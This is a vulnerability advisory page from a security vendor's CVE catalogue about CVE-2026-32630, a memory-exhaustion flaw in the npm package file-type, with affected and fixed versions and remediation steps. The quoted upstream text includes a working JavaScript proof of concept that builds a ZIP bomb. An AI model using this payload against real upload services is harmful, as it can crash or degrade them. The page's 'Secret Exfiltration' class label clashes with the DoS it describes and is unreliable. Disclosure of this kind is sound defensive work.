HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 32630 file type zip decompression bomb dos via
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.3CVE-2026-32630GHSA-J47W-4G3G-C36V

file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entryCVE-2026-32630

Answer in brief

CVE-2026-32630 records a Medium severity (CVSS 5.3) vulnerability in file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry. The current sources do not mark it as known exploited. The current feed maps file-type (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Mar 13, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 5.3
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps file-type (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
file-typenpm>=20.0.0 <21.3.221.3.2

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for file-type.
  2. 2Review the reported fix. Update file-type to 21.3.2 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Mar 13, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

## Summary A crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`. In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`. This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash. ## Root Cause The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size. For stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places: ```js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` and: ```js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`. ## Proof of Concept ```js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream'; async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, }); const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject); const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'; const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'}); archive.finalize(); }); } const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0)); const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss; console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0)); ``` Observed on `file-type` `21.3.1`: - ZIP size: about `255 KB` - RSS growth during detection: about `257 MB` ## Affected APIs Affected: - `fileTypeFromBuffer()` - `fileTypeFromBlob()` - `fileTypeFromFile()` Not affected: - `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs ## Impact Applications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments. ## Cause The issue was introduced in 399b0f1

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
6 linked sources
Open source record